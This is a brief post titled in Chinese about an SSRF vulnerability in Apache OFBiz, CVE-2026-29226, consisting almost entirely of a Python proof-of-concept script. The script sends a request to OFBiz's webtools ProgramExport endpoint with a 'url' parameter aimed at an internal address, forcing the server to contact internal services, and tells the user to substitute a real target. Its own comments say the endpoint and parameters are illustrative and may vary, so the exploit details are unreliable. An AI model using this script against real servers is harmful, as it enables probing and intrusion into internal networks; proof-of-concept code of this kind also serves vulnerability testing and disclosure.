CVE-2026-29226 Apache OFBiz Content组件SSRF漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-29226 (Apache OFBiz SSRF) This script demonstrates the Server-Side Request Forgery vulnerability by forcing the server to make a request to an internal service. """ import requests def check_ssrf(target_host, internal_ip="127.0.0.1", internal_port="8080"): # The vulnerable endpoint is typically within the Content component operations. # This payload structure is illustrative based on OFBiz request patterns. url = f"{target_host}/webtools/control/ProgramExport" # Malicious parameters to trigger SSRF # Note: Actual parameter names may vary based on the specific operation in Content component params = { "url": f"http://{internal_ip}:{internal_port}", "filename": "ssrf_test.txt" } try: print(f"[*] Sending SSRF request to {target_host} targeting {internal_ip}") response = requests.get(url, params=params, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check the internal server logs for connection attempts.") print(f"[+] Response length: {len(response.text)} bytes") # In a real scenario, analyze response content for leaked data else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost:8080" check_ssrf(target)